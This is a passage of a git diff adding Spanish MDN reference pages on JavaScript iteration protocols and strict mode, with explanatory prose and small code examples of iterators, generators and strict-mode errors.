+++ b/files/es/web/javascript/referencia/iteration_protocols/index.html
@@ -0,0 +1,320 @@
+---
+title: Protocolos de Iteración
+slug: Web/JavaScript/Referencia/Iteration_protocols
+tags:
+  - ECMAScript6
+  - Experimental
+  - Intermedio
+  - Iterable
+  - Iterador
+  - JavaScript
+translation_of: Web/JavaScript/Reference/Iteration_protocols
+---
+<div>{{jsSidebar("More")}}</div>
+
+<div>Las nuevas características de ECMAScript 6 no solo están asociadas a cambios y adiciones de sintaxis o a nuevos objetos nativos, sino también a protocolos. Dichos protocolos puede ser implementados por cualquier objeto en relación a algunas convenciones.</div>
+
+<div> </div>
+
+<div>Existen dos protocolos: El<a href="#The_.22iterable.22_protocol"> protocolo iterable</a> y el<a href="#The_.22iterator.22_protocol"> protocolo iterador</a>.</div>
+
+<div> </div>
+
+<h2 id="El_protocolo_iterable">El protocolo iterable</h2>
+
+<p>El protocolo <strong>iterable</strong> le permite a los objetos en JavaScript definir o personalizar su comportamiento de iteración, como por ejemplo qué valores son iterados dentro de una sentencia {{jsxref("Statements/for...of", "for..of")}}. Algunos objetos nativos, como {{jsxref("Array")}} o {{jsxref("Map")}}, tienen un comportamiento de iteración por defecto, mientras otros objetos (como por ejemplo {{jsxref("Object")}}) no.</p>
+
+<p>Para ser iterable, un objeto debe implementar el método <strong>@@iterator</strong>, lo cual significa que el objeto (o uno de los objetos dentro de su <a href="/en-US/docs/Web/JavaScript/Guide/Inheritance_and_the_prototype_chain">cadena de prototipos</a>) debe tener una propiedad con un identificador {{jsxref("Symbol")}}<code style="font-style: normal;">.iterator</code>:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Propiedad</th>
+   <th scope="col">Valor</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>[Symbol.iterator]</code></td>
+   <td>Una función sin argumentos que retorna un objeto, de acuerdo al <a href="#The_.22iterator.22_protocol">protocolo iterador</a>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Siempre que un objeto necesite ser iterado (como al comienzo de un <code>for..of</code> loop), su método <code>@@iterator</code> es llamado sin argumentos, y el <strong>iterador</strong> retornado es usado para obtener los valores a ser iterados.</p>
+
+<h2 id="El_protocolo_iterador">El protocolo iterador</h2>
+
+<p>El protocolo <strong>iterador</strong> define una forma estándar que permite producir una secuencia de valores (sean estos finitos o infinitos).</p>
+
+<p>Un objeto es un iterador cuando este implementa un método <code><strong>next()</strong></code> con la siguiente semántica:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Propiedad</th>
+   <th scope="col">Valor</th>
+  </tr>
+  <tr>
+   <td><code>next</code></td>
+   <td>
+    <p>Una función sin argumentos que retorna un objeto con dos propiedades:</p>
+
+    <ul>
+     <li><code>done</code> (boleano)
+
+      <ul>
+       <li>Su valor es <code>true</code> si el iterador está más allá del final de la secuencia iterada. En este caso <code>value</code> opcionalmente especifica el <em>valor retornado</em> por el iterador. Los valores retornados son explicados <a href="http://www.2ality.com/2013/06/iterators-generators.html#generators-as-threads">aquí</a>.</li>
+       <li>Su valor es <code>false</code> si el iterador pudo producir el siguiente valor en la secuencia. Esto es equivalente a no especificar la propiedad <code>done</code> en su totalidad.</li>
+      </ul>
+     </li>
+     <li><code>value</code> - cualquier valor de JavaScript retornado por el iterador. Puede ser omitido cuando el valor de <code>done</code> es <code>true</code>.</li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Algunos iteradores son a su vez iterables:</p>
+
+<pre class="brush: js">var someArray = [1, 5, 7];
+var someArrayEntries = someArray.entries();
+
+someArrayEntries.toString();           // "[object Array Iterator]"
+someArrayEntries === someArrayEntries[Symbol.iterator]();    // true
+</pre>
+
+<h2 id="Ejemplos_de_protocolos_de_iteración">Ejemplos de protocolos de iteración</h2>
+
+<p>Un {{jsxref("String")}} es un ejemplo de un objeto iterable nativo:</p>
+
+<pre class="brush: js">var someString = "hi";
+typeof someString[Symbol.iterator];          // "function"
+</pre>
+
+<p>Para objetos <code>String</code> su iterador por defecto retorna cada uno de sus caracteres, uno a la vez:</p>
+
+<pre class="brush: js">var iterator = someString[Symbol.iterator]();
+iterator + "";                               // "[object String Iterator]"
+
+iterator.next();                             // { value: "h", done: false }
+iterator.next();                             // { value: "i", done: false }
+iterator.next();                             // { value: undefined, done: true }</pre>
+
+<p>En algunas estructuras nativas del lenguaje como en el caso del <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator">operador de propagación <em>spread operator</em></a>, el mismo protocolo de iteración está presente en su parte interna:</p>
+
+<pre class="brush: js">[...someString]                              // ["h", "i"]</pre>
+
+<p>Podemos redefinir el comportamiento de iteración creando nuestro propio  <code>@@iterator</code>:</p>
+
+<pre class="brush: js">// es necesario el uso de un objeto creado a partir de la función constructora String,
+// ya que al usar un string primitivo el <em>auto-boxing</em> generaría una referencia temporal
+// a un iterador que luego es descartado en el <em>unbox</em>
+
+var someString = new String("hi");
+
+someString[Symbol.iterator] = function() {
+  return { // este es el objeto iterador que retorna un único elemento, la cadena string "bye"
+    next: function() {
+      if (this._first) {
+        this._first = false;
+        return { value: "bye", done: false };
+      } else {
+        return { done: true };
+      }
+    },
+    _first: true
+  };
+};
+</pre>
+
+<p>Nótese que al redefinir un <code>@@iterator</code> se puede afectar el comportamiento  de construcciones nativas que usan el protocolo de iteración:</p>
+
+<pre class="brush: js">[...someString];                              // ["bye"]
+someString + "";                              // "hi"
+</pre>
+
+<h2 id="Ejemplos_de_iterables">Ejemplos de iterables</h2>
+
+<h3 id="Iterables_nativos">Iterables nativos</h3>
+
+<p>{{jsxref("String")}}, {{jsxref("Array")}}, {{jsxref("TypedArray")}}, {{jsxref("Map")}} y {{jsxref("Set")}} son objetos iterables nativos, ya que en su objeto prototipo existe un método <code>@@</code><code>iterator.</code></p>
+
+<h3 id="Iterables_personalizados">Iterables personalizados</h3>
+
+<p>Podemos crear nuestros propios iterables de la siguiente manera:</p>
+
+<pre class="brush: js">var myIterable = {};
+myIterable[Symbol.iterator] = function* () {
+    yield 1;
+    yield 2;
+    yield 3;
+};
+[...myIterable]; // [1, 2, 3]
+</pre>
+
+<h3 id="APIs_nativas_que_aceptan_iterables">APIs nativas que aceptan iterables</h3>
+
+<p>Existen varios APIs que aceptan iterables, como en el caso de: {{jsxref("Map", "Map([iterable])")}}, {{jsxref("WeakMap", "WeakMap([iterable])")}}, {{jsxref("Set", "Set([iterable])")}} y {{jsxref("WeakSet", "WeakSet([iterable])")}}:</p>
+
+<pre class="brush: js">var myObj = {};
+new Map([[1,"a"],[2,"b"],[3,"c"]]).get(2);               // "b"
+new WeakMap([[{},"a"],[myObj,"b"],[{},"c"]]).get(myObj); // "b"
+new Set([1, 2, 3]).has(3);                               // true
+new Set("123").has("2");                                 // true
+new WeakSet(function*() {
+    yield {};
+    yield myObj;
+    yield {};
+}()).has(myObj);                                         // true
+</pre>
+
+<p>De igual manera {{jsxref("Promise.all", "Promise.all(iterable)")}}, {{jsxref("Promise.race", "Promise.race(iterable)")}}, y {{jsxref("Array.from", "Array.from()")}}.</p>
+
+<h3 id="Sintaxis_que_espera_un_iterable">Sintaxis que espera un iterable</h3>
+
+<p>Algunas declaraciones y expresiones esperan iterables, por ejemplo el bucle <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for-of</a></code>, el<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator"> operador de propagación <em>spread operator</em></a>,  la expresión <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/yield*">Yield*</a></code>, y la <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">asignación desestructurada <em>destructuring assignment</em></a>.</p>
+
+<pre class="brush: js">for(let value of ["a", "b", "c"]){
+    console.log(value);
+}
+// "a"
+// "b"
+// "c"
+
+[..."abc"]; // ["a", "b", "c"]
+
+function* gen(){
+  yield* ["a", "b", "c"];
+}
+
+gen().next(); // { value:"a", done:false }
+
+[a, b, c] = new Set(["a", "b", "c"]);
+a // "a"
+
+</pre>
+
+<h3 id="Iterables_mal_definidos">Iterables mal definidos</h3>
+
+<p>Un método <code>@@iterator</code> iterable que no retorne un objeto iterador no está correctamente definido, por lo tanto al ejecutarlo de esta manera podría resultar en excepciones en tiempo de ejecución y otros errores:</p>
+
+<pre class="brush: js">var nonWellFormedIterable = {}
+nonWellFormedIterable[Symbol.iterator] = () =&gt; 1
+[...nonWellFormedIterable] // TypeError: [] is not a function
+</pre>
+
+<h2 id="Ejemplos_de_iteradores">Ejemplos de iteradores</h2>
+
+<h3 id="Iterador_simple">Iterador simple</h3>
+
+<pre class="brush: js">function makeIterator(array){
+    var nextIndex = 0;
+
+    return {
+       next: function(){
+           return nextIndex &lt; array.length ?
+               {value: array[nextIndex++], done: false} :
+               {done: true};
+       }
+    };
+}
+
+var it = makeIterator(['yo', 'ya']);
+
+console.log(it.next().value); // 'yo'
+console.log(it.next().value); // 'ya'
+console.log(it.next().done);  // true
+</pre>
+
+<h3 id="Iterador_infinito">Iterador infinito</h3>
+
+<pre class="brush: js">function idMaker(){
+    var index = 0;
+
+    return {
+       next: function(){
+           return {value: index++, done: false};
+       }
+    };
+}
+
+var it = idMaker();
+
+console.log(it.next().value); // '0'
+console.log(it.next().value); // '1'
+console.log(it.next().value); // '2'
+// ...
+</pre>
+
+<h3 id="Con_un_generador">Con un generador</h3>
+
+<pre class="brush: js">function* makeSimpleGenerator(array){
+    var nextIndex = 0;
+
+    while(nextIndex &lt; array.length){
+        yield array[nextIndex++];
+    }
+}
+
+var gen = makeSimpleGenerator(['yo', 'ya']);
+
+console.log(gen.next().value); // 'yo'
+console.log(gen.next().value); // 'ya'
+console.log(gen.next().done);  // true
+
+
+
+function* idMaker(){
+    var index = 0;
+    while(true)
+        yield index++;
+}
+
+var gen = idMaker();
+
+console.log(gen.next().value); // '0'
+console.log(gen.next().value); // '1'
+console.log(gen.next().value); // '2'
+// ...
+</pre>
+
+<h2 id="¿Un_objeto_generador_es_un_iterador_o_un_iterable">¿Un objeto generador es un iterador o un iterable?</h2>
+
+<p>Un <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Generator">objeto iterador</a> es tanto un iterador como un iterable:</p>
+
+<pre class="brush: js">var aGeneratorObject = function*(){
+    yield 1;
+    yield 2;
+    yield 3;
+}();
+typeof aGeneratorObject.next;
+// "function", ya que tiene un método next, por lo tanto es un iterador
+typeof aGeneratorObject[Symbol.iterator];
+// "function", ya que tiene un método @@iterator, por lo tanto es un iterable
+aGeneratorObject[Symbol.iterator]() === aGeneratorObject;
+// true, ya que su método @@iterator retorna a sí mismo (un iterador), por lo tanto es un iterable bien formado
+[...aGeneratorObject];
+// [1, 2, 3]
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-iteration', 'Iteration')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Temas_relacionados">Temas relacionados</h2>
+
+<p>Para información adicional acerca de generadores <em>generators</em> en ES6, puede visitar la  <a href="/en-US/docs/Web/JavaScript/Reference/Statements/function*">página específica</a> sobre este tema.</p>
diff --git a/files/es/web/javascript/referencia/modo_estricto/index.html b/files/es/web/javascript/referencia/modo_estricto/index.html
new file mode 100644
index 0000000000..d6a596b3e5
--- /dev/null
+++ b/files/es/web/javascript/referencia/modo_estricto/index.html
@@ -0,0 +1,368 @@
+---
+title: Modo Estricto
+slug: Web/JavaScript/Referencia/Modo_estricto
+tags:
+  - ECMAScript5
+  - Guía
+  - JavaScript
+  - Modo estricto
+translation_of: Web/JavaScript/Reference/Strict_mode
+---
+<div>{{JsSidebar("More", "Más")}}</div>
+
+<div class="callout-box">A veces, verás que llaman {{Glossary("Sloppy_mode", "sloppy mode — modo poco riguroso")}} al modo no estricto predeterminado. Este no es un término oficial, pero tenlo en cuenta, por si acaso.</div>
+
+<p>El modo estricto de <a class="external" href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">ECMAScript 5</a> es una forma de elegir una variante <em>restringida</em> de <em>JavaScript</em>, así implícitamente se deja de lado el modo poco riguroso. El modo estricto no es sólo un subconjunto: <em>intencionalmente</em> tiene diferencia semántica del código normal. Los navegadores que no admiten el modo estricto ejecutarán el código con un comportamiento diferente a los que sí lo soportan, por lo tanto no confíes en el modo estricto sin antes hacer pruebas de sus características más relevantes. Los modos estricto y no estricto pueden coexistir, por lo tanto el código se puede transformar a modo estricto incrementalmente.</p>
+
+<p>El modo estricto tiene varios cambios en la semántica normal de JavaScript:</p>
+
+<ol>
+ <li>Elimina algunos errores silenciosos de JavaScript cambiándolos para que lancen errores.</li>
+ <li>Corrige errores que hacen difícil para los motores de JavaScript realizar optimizaciones: a veces, el código en modo estricto puede correr más rápido que un código idéntico pero no estricto.</li>
+ <li>Prohíbe cierta sintaxis que probablemente sea definida en futuras versiones de ECMAScript.</li>
+</ol>
+
+<p>Ve <a href="/es/docs/Web/JavaScript/Reference/Strict_mode/Transitioning_to_strict_mode">transición a modo estricto</a>, si deseas cambiar tu código para trabajar en la variante estricta de JavaScript.</p>
+
+<h2 id="Invocar_el_modo_estricto">Invocar el modo estricto</h2>
+
+<p>El modo estricto se aplica a un <em>script completo</em> o a <em>funciones individuales</em>. No se aplica a bloques entre corchetes <code>{}</code>; intentar aplicarlo en tales contextos no hace nada. Código <code>eval</code>, código <code>Function</code>, atributos de controladores de eventos, cadenas pasadas a <a href="/es/docs/Web/API/WindowTimers.setTimeout" title="es/DOM/window.setTimeout"><code>setTimeout</code></a>, y similares son scripts enteros, de modo que invocar modo estricto en tales contextos funciona como se espera.</p>
+
+<h3 id="Modo_estricto_para_scripts">Modo estricto para scripts</h3>
+
+<p>Para invocar el modo estricto en todo un script, escribe <em>exactamente</em> <code>"use strict";</code> (o <code>'use strict';</code>) antes de cualquier otra expresión.</p>
+
+<pre class="brush: js notranslate">// Sintaxis del modo estricto para todo el script
+'use strict';
+var v = "¡Hola! ¡Estoy en modo estricto para script!";
+</pre>
+
+<p>Esta sintaxis tiene un problema que <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=579119">ya ha afectado</a> a <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=627531">cierta página bien conocida</a>: no es posible concatenar ciegamente scripts conflictivos entre sí. Si concatena un script en modo estricto con otro que no es, la concatenación de ambos producirá código en modo estricto. Lo contrario también es cierto: código en modo no estricto mas código estricto produce código que no es estricto. Concatenar scripts no produce problemas si todos están en modo estricto (o si todos están en modo no estricto). El problema es mezclar scripts en modo estricto con scripts en modo no estricto. Por eso se recomienda habilitar el modo estricto a nivel de función solamente (al menos durante el periodo de transición de un programa).</p>
+
+<p>Otra opción es envolver el contenido completo del script en una función y tener esa función externa en modo estricto. Así se elimina el problema de la concatenación, pero entonces tienes que hacerte cargo de exportar explícitamente las variables globales fuera del ámbito de la función.</p>
+
+<h3 id="Modo_estricto_para_funciones">Modo estricto para funciones</h3>
+
+<p>De igual forma, para invocar el modo estricto para una función, escribe <em>exactamente</em> <code>"use strict";</code> (o <code>'use strict';</code>) en el cuerpo de la función antes de cualquier otra expresión.</p>
+
+<pre class="brush: js notranslate">function strict() {
+  // Sintaxis del modo estricto a nivel de función
+  'use strict';
+  function nested() { return "¡Y yo también!"; }
+  return "¡Hola!  ¡Soy una función en modo estricto!  " + nested();
+}
+function notStrict() { return "Yo no soy estricto."; }
+</pre>
+
+<h3 id="Modo_estricto_para_módulos">Modo estricto para módulos</h3>
+
+<p>ECMAScript 2015 introdujo módulos y por tanto una tercera manera de entrar en el modo estricto. Todo el contenido de los módulos de JavaScript se encuentra automáticamente en modo estricto, sin necesidad de una declaración para iniciarlo.</p>
+
+<pre class="brush: js notranslate">function strict() {
+    // debido a que este es un módulo, soy estricto por omisión
+}
+export default strict;
+</pre>
+
+<h2 id="Cambios_en_modo_estricto">Cambios en modo estricto</h2>
+
+<p>El modo estricto cambia la sintaxis y el comportamiento en tiempo de ejecución. Los cambios generalmente caen dentro de estas categorías: cambios que convierten equivocaciones en errores (como errores de sintaxis o en tiempo de ejecución), cambios que simplifican cómo se calcula el nombre de una variable particular, cambios que simplifican el uso de <code>eval</code> y <code>arguments</code>, cambios que hacen más fácil escribir JavaScript "seguro", y cambios que anticipan la evolución futura de ECMAScript.</p>
+
+<h3 id="Convertir_equivocaciones_en_errores">Convertir equivocaciones en errores</h3>
+
+<p>El modo estricto cambia algunos errores de sintaxis tolerados en modo no estricto y los convierte en errores. JavaScript fue diseñado de modo que fuera fácil para programadores novatos, y puede haber operaciones semánticas que deberían ser errores pero son tratadas como libres de error. A veces esto sirve para solucionar el problema en el momento, pero puede crear problemas más graves en el futuro. El modo estricto trata las equivocaciones como errores, para que se puedan descubrir y subsanar inmediatamente.</p>
+
+<p>En primer lugar, el modo estricto hace imposible crear variables globales por accidente. En JavaScript no estricto, si se escribe mal una variable en una asignación, se creará una nueva propiedad en el objeto global y el código continuará "trabajando" como si nada (aunque es posible que el código así escrito falle en el futuro, en concreto, en JavaScript moderno). En modo estricto, cualquier asignación que produzca variables globales por accidente lanzará un error:</p>
+
+<pre class="brush: js notranslate">'use strict';
+                       // Asumiendo que exista una variable global llamada mistypedVariable
+mistypeVariable = 17;  // esta línea lanza un ReferenceError debido a
+                       // una errata en el nombre de la variable
+</pre>
+
+<p>En segundo lugar, el modo estricto lanza una excepción en asignaciones que de otro modo fallarían silenciosamente. Por ejemplo, <code>NaN</code> es una variable global que no puede ser asignada. En un código normal, asignar a <code>NaN</code> no tiene efecto; el programador no recibe ningún mensaje de error. En cambio, en modo estricto, si se intenta asignar un valor a <code>NaN</code>, el programador recibirá una excepción. Cualquier asignación que falle silenciosamente en código normal (asignaciones a una propiedad de no escritura, asignaciones a una propiedad captadora, asignaciones a una nueva propiedad o a un objecto {{jsxref("Global_Objects/Object/preventExtensions", "no extensible")}}) lanzará una excepción en modo estricto:</p>
+
+<pre class="brush: js notranslate">'use strict';
+
+// Asignación a una no-escritura global
+var undefined = 5; // lanza un TypeError
+var Infinity = 5; // lanza un TypeError
+
+// Asignación a una propiedad de no-escritura
+var obj1 = {};
+Object.defineProperty(obj1, "x", { value: 42, writable: false });
+obj1.x = 9; // lanza un TypeError
+
+// Asignación a una propiedad de tipo getter
+var obj2 = { get x() { return 17; } };
+obj2.x = 5; // lanza un TypeError
+
+// Asignación a una nueva propiedad en un objeto no extensible
+var fixed = {};
+Object.preventExtensions(fixed);
+fixed.newProp = "ohai"; // lanza un TypeError
+</pre>
+
+<p>En tercer lugar, el modo estricto lanza una excepción al intentar eliminar propiedades no eliminables (mientra que en código normal el intento no tendría ningún efecto):</p>
+
+<pre class="brush: js notranslate">'use strict';
+delete Object.prototype; // lanza un TypeError
+</pre>
+
+<p>En cuarto lugar, la versión de modo estricto anterior a Gecko 34 requiere que todas las propiedades nombradas en un objeto sean únicas. En código normal se pueden duplicar nombres, siendo el último el que determina el valor de la propiedad. Pero como el último es el único que hace algo, la duplicidad da origen a errores si el código se modifica para cambiar el valor de la propiedad. Duplicar nombres de propiedades es un error de sintaxis en modo estricto.</p>
+
+<div class="note">
+<p>Este ya no es el caso en ECMAScript 2015 (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1041128">error 1041128</a>).</p>
+</div>
+
+<pre class="brush: js notranslate">'use strict';
+var o = { p: 1, p: 2 }; // !!! error de sintaxis
+</pre>
+
+<p>En quinto lugar, el modo estricto requiere que los nombres de los parámetros de una función sean únicos. En código normal, el último argumento repetido oculta argumentos anteriores con el mismo nombre. Estos argumentos permanecen disponibles a través de <code>arguments[i]</code>, de modo que no son completamente inaccesibles. Aun así, esta ocultación tiene poco sentido y es probablemente indeseable (pues puede ocultar, por ejemplo, un error al teclear una letra). Por lo tanto, en modo estricto, duplicar nombres de argumentos es un error de sintaxis:</p>
+
+<pre class="brush: js notranslate">function sum(a, a, c) { // !!! error de sintaxis
+  'use strict';
+  return a + a + c; // incorrecto si este código se ejecutó
+}
+</pre>
+
+<p>En sexto lugar, en modo estricto ECMAScript 5 se prohíbe la notación octal. La notación octal no es parte de ECMAScript 5, pero está soportada en todos los navegadores al poner como prefijo un cero al número: <code>0644 == 420</code> y <code>"\045" === "%"</code>. En ECMAScript 2015, el número octal es compatible con el prefijo de un número con "<code>0o</code>". Es decir:</p>
+
+<pre class="brush: js notranslate">var a = 0o10; // ES2015: Octal</pre>
+
+<p>Los programadores novatos a veces creen que un prefijo cero inicial no tiene un significado semántico, por lo que lo usan como dispositivo de alineación, ¡pero esto cambia el significado del número! Una sintaxis de cero a la izquierda para los octales rara vez es útil y se puede usar por error, por lo que el modo estricto lo convierte en un error de sintaxis:</p>
+
+<pre class="brush: js notranslate">'use strict';
+var sum = 015 + // !!! error de sintaxis
+          197 +
+          142;
+
+var sumWithOctal = 0o10 + 8;
+console.log(sumWithOctal); // 16
+</pre>
+
+<p>Séptimo, el modo estricto en ECMAScript 2015 prohíbe establecer propiedades en valores {{Glossary("Primitive", "primitivos")}}. La sintaxis octal rara vez es útil y se puede usar equivocadamente, de modo que en modo estricto, utilizar notación octal lanza un {{jsxref("TypeError")}}:</p>
+
+<pre class="brush: js notranslate">(function() {
+'use strict';
+
+false.true = '';         // TypeError
+(14).sailing = 'home';   // TypeError
+'with'.you = 'far away'; // TypeError
+
+})();</pre>
+
+<h3 id="Simplificación_en_el_uso_de_variables">Simplificación en el uso de variables</h3>
+
+<p>El modo estricto simplifica el modo en que el nombre de una variable es asignado a un variable particular en el código. Muchas optimizaciones del compilador se basan en la habilidad para decir el lugar específico en que una variable está almacenada, lo cual es crítico para una optimización completa del código JavaScript. Algunas veces JavaScript hace que esta asignación básica del nombre de una variable y su valor no suceda hasta que no se está en tiempo de ejecución. El modo estricto elimina muchos de los casos en los que esto pasa, de modo que el compilador puede optimizar mejor el código que es estricto.</p>
+
+<p>Primero, el modo estricto prohíbe el uso de <code>with</code>. El problema con <code>with</code> es que cualquier nombre dentro del bloque pude ser asignado a una propiedad del objecto pasado como argumento, o a una variable en su ámbito circundante (o incluso global), en tiempo de ejecución: es imposible saber de antemano cuál será. El modo estricto hace que el uso de <code>with</code> sea un error de sintaxis, de modo que no hay oportunidad de que una variable dentro de un <code>with</code> se refiera a una dirección desconocida en tiempo de ejecución:</p>
+
+<pre class="brush: js notranslate">'use strict';
+var x = 17;
+with (obj) { // !!! error de sintaxis
+  // Si este no estuviera un modo estricto, ¿sería var x?, o
+  // ¿sería obj.x en su lugar?  Es imposible en general
+  // decirlo sin ejecutar el código, por lo que el nombre no
+  // se puede optimizar.
+  x;
+}
+</pre>
+
+<p>En vez de usar <code>with</code>, existe la simple alternativa de asignar el objecto a una variable de nombre más corto, y después acceder a la propiedad correspondiente de esa variable.</p>
+
+<p>Segundo, el uso de <code>eval</code> en modo estricto no introduce nuevas variables en el ámbito circundante. En código normal, <code>eval("var x;")</code> introduce una variable <code>x</code> dentro de la función circundante o el ámbito global. Esto significa que, en general, en una función que contiene una llamada a <code>eval</code> en cada nombre que no se refiera a un argumento o a una variable local, se debe asignar a una definición en particular en tiempo de ejecución (debido a que <code>eval</code> puedo haber introducido una nueva variable que podría ocultar una variable externa). En modo estricto, <code>eval</code> crea variables solo para el código que se está evaluando, por lo que <code>eval</code> no puede afectar si un nombre se refiere a una variable externa o a alguna variable local:</p>
+
+<pre class="brush: js notranslate">var x = 17;
+var evalX = eval("'use strict'; var x = 42; x");
+console.assert(x === 17);
+console.assert(evalX === 42);
+</pre>
+
+<p>En el ejemplo anterior, si la función <code>eval</code> es invocada por una expresión de la forma <code>eval(...)</code> en código de modo estricto, el código será evaluado en modo estricto. El código puede explícitamente invocar el modo estricto, pero no es necesario.</p>
+
+<pre class="brush: js notranslate">function strict1(str) {
+  'use strict';
+  return eval(str); // str será tratado como código de modo estricto
+}
+function strict2(f, str) {
+  'use strict';
+  return f(str); // no eval(...): str es estricto si y solo
+                 // si invoca el modo estricto
+}
+function nonstrict(str) {
+  return eval(str); // str es estricto si y solo
+                    // si invoca el modo estricto
+}
+
+strict1("'¡Código en modo estricto!'");
+strict1("'use strict'; '¡Código en modo estricto!'");
+estricto2(eval, "'Código no estricto'");
+strict2(eval, "'use strict'; '¡Código en modo estricto!'");
+nonstrict("'Código no estricto'");
+nonstrict("'use strict'; '¡Código en modo estricto!'");
+</pre>
+
+<p>Así los nombres en modo estricto usando <code>eval</code> se comportan idénticamente a los nombres en modo estricto no siendo evaluados como resultado de <code>eval</code>.</p>
+
+<p>Tercero, el modo estricto prohíbe eliminar nombres planos. De este modo, <code>delete name</code> produce un error de sintaxis.</p>
+
+<pre class="brush: js notranslate">'use strict';
+
+var x;
+delete x; // !!! error de sintaxis
+
+eval("var y; delete y;"); // !!! error de sintaxis</pre>
+
+<h3 id="Haciendo_eval_y_arguments_más_simples">Haciendo <code>eval</code> y <code>arguments</code> más simples</h3>
+
+<p>El modo estricto hace que el uso de <code>arguments</code> y <code>eval</code> sea más intuitivo. Ambos envuelven un considerable misticismo en código normal: <code>eval</code> al añadir o remover los enlaces y cambiar los valores de dichos enlaces, y <code>arguments</code> al poder sustituir los nombres de los argumentos por propiedades indexadas. El modo estricto ofrece un gran paso al tratar a <code>eval</code> y a <code>arguments</code> como palabras clave, aunque soluciones finales no estarán disponibles hasta futuras ediciones de ECMAScript.</p>
+
+<p>Primero, las palabras <code>eval</code> y <code>arguments</code> no se pueden ligar o asignar en la sintaxis del lenguaje. Cualquier intento producirá un error de sintaxis:</p>
+
+<pre class="brush: js notranslate">'use strict';
+eval = 17;
+arguments++;
+++eval;
+var obj = { set p(arguments) { } };
+var eval;
+try { } catch (arguments) { }
+function x(eval) { }
+function arguments() { }
+var y = function eval() { };
+var f = new Function("arguments", "'use strict'; return 17;");
+</pre>
+
+<p>Segundo, el modo estricto no permite usar alias en elementos del objecto <code>arguments</code> creados dentro de la función. En una función en código normal cuyo primer parámetro sea <code>args</code>, si se cambia el valor de <code>args</code> también se cambiará de <code>arguments[0]</code>, y viceversa (a menos que no se proporcionen parámetros o se elimine <code>arguments[0]</code>). El objecto <code>arguments</code> para el modo estricto almacena los parámetros originales cuando la función es invocada. <code>arguments[i]</code> no guarda el valor del correspondiente nombre del parámetro, ni tampoco un parámetro con nombre guarda el valor correspondiente de <code>arguments[i]</code>.</p>
+
+<pre class="brush: js notranslate">function f(a) {
+  'use strict';
+  a = 42;
+  return [a, arguments[0]];
+}
+var pair = f(17);
+console.assert(pair[0] === 42);
+console.assert(pair[1] === 17);
+</pre>
+
+<p>Tercero, <code>arguments.callee</code> no está soportado. En código normal, <code> arguments.callee</code> se refiere a la función envolvente. Este caso de uso es débil: ¡simplemente nombra la función envolvente!. Además <code>arguments.callee</code> merma el desempeño de funciones en línea pues debe ser posible proveer la referencia de la función que llamó a la función original cada vez que se usa <code>arguments.callee</code>. <code>arguments.callee</code> en modo estricto es una propiedad no eliminable y lanza una excepción cuando se le asigna un valor o se intenta regresar su valor.</p>
+
+<pre class="brush: js notranslate">'use strict';
+var f = function() { return arguments.callee; };
+f(); // lanza un TypeError
+</pre>
+
+<h3 id="sect1"></h3>
+
+<p>El modo estricto hace más fácil el escribir código "seguro" en JavaScript. Algunos sitios web ofrecen ahora medios para que los usuarios codifiquen en JavaScript para que el código corra en el sitio en <em>beneficio de otros usuarios</em>. JavaScript en los navegadores puede acceder a la información privada del usuario, por lo que dicho JavaScript se debe transformar parcialmente antes de ejecutarse, para censurar el acceso a funciones prohibidas. La flexibilidad de JavaScript hace que efectivamente sea imposible hacer esto sin muchas comprobaciones en tiempo de ejecución. La flexibilidad de JavaScript hace casi imposible hacer esto sin hacer revisiones en tiempo de ejecución. Unos pocos ajustes del modo estricto, además de requerir que el JavaScript enviado por el usuario sea código de modo estricto y que se invoque de cierta manera, reducen sustancialmente la necesidad de esas comprobaciones en tiempo de ejecución.</p>
+
+<p>Primero, el valor <code>this</code> pasado a una función en modo estricto no forzosamente debe ser un objeto (es decir, "empaquetado"). Para una función normal, <code>this</code> siempre es un objeto: o el objeto proporcionado si se llama con un <code>this</code> con valor de objeto; el valor, empaquetado, si se llama con un booleano, una cadena o un número <code>this</code>; o el objeto global si se llama con un <code>undefined</code> o <code>null</code> <code>this</code>. (Usar {{jsxref("Global_Objects/Function/call", "call")}}, {{jsxref("Global_Objects/Function/apply", "apply")}}, o {{jsxref("Global_Objects/Function/bind", "bind")}} para especificar un valor del <code>this</code> particular). Este empaquetado automático al pasar valores a una función tiene un costo en el rendimiento; no solo eso, si no que al exponer el objeto global en los navegadores es un riesgo de seguridad, debido a que el objeto global provee acceso a una funcionalidad que el código de JavaScript "seguro" debe restringir. Así, en una función en modo estricto , el valor de <code>this</code> no está empaquetado dentro de un objecto, y si no se especifica, <code>this</code> toma el valor de <code>undefined</code>.</p>
+
+<pre class="brush: js notranslate">'use strict';
+function fun() { return this; }
+console.assert(fun() === undefined);
+console.assert(fun.call(2) === 2);
+console.assert(fun.apply(null) === null);
+console.assert(fun.call(undefined) === undefined);
+console.assert(fun.bind(true)() === true);
+</pre>
+
+<p>Esto significa, entre otras cosas, que en los navegadores no es posible hacer referencia al objeto <code>window</code> a través de <code>this</code> dentro de una función en modo estricto.</p>
+
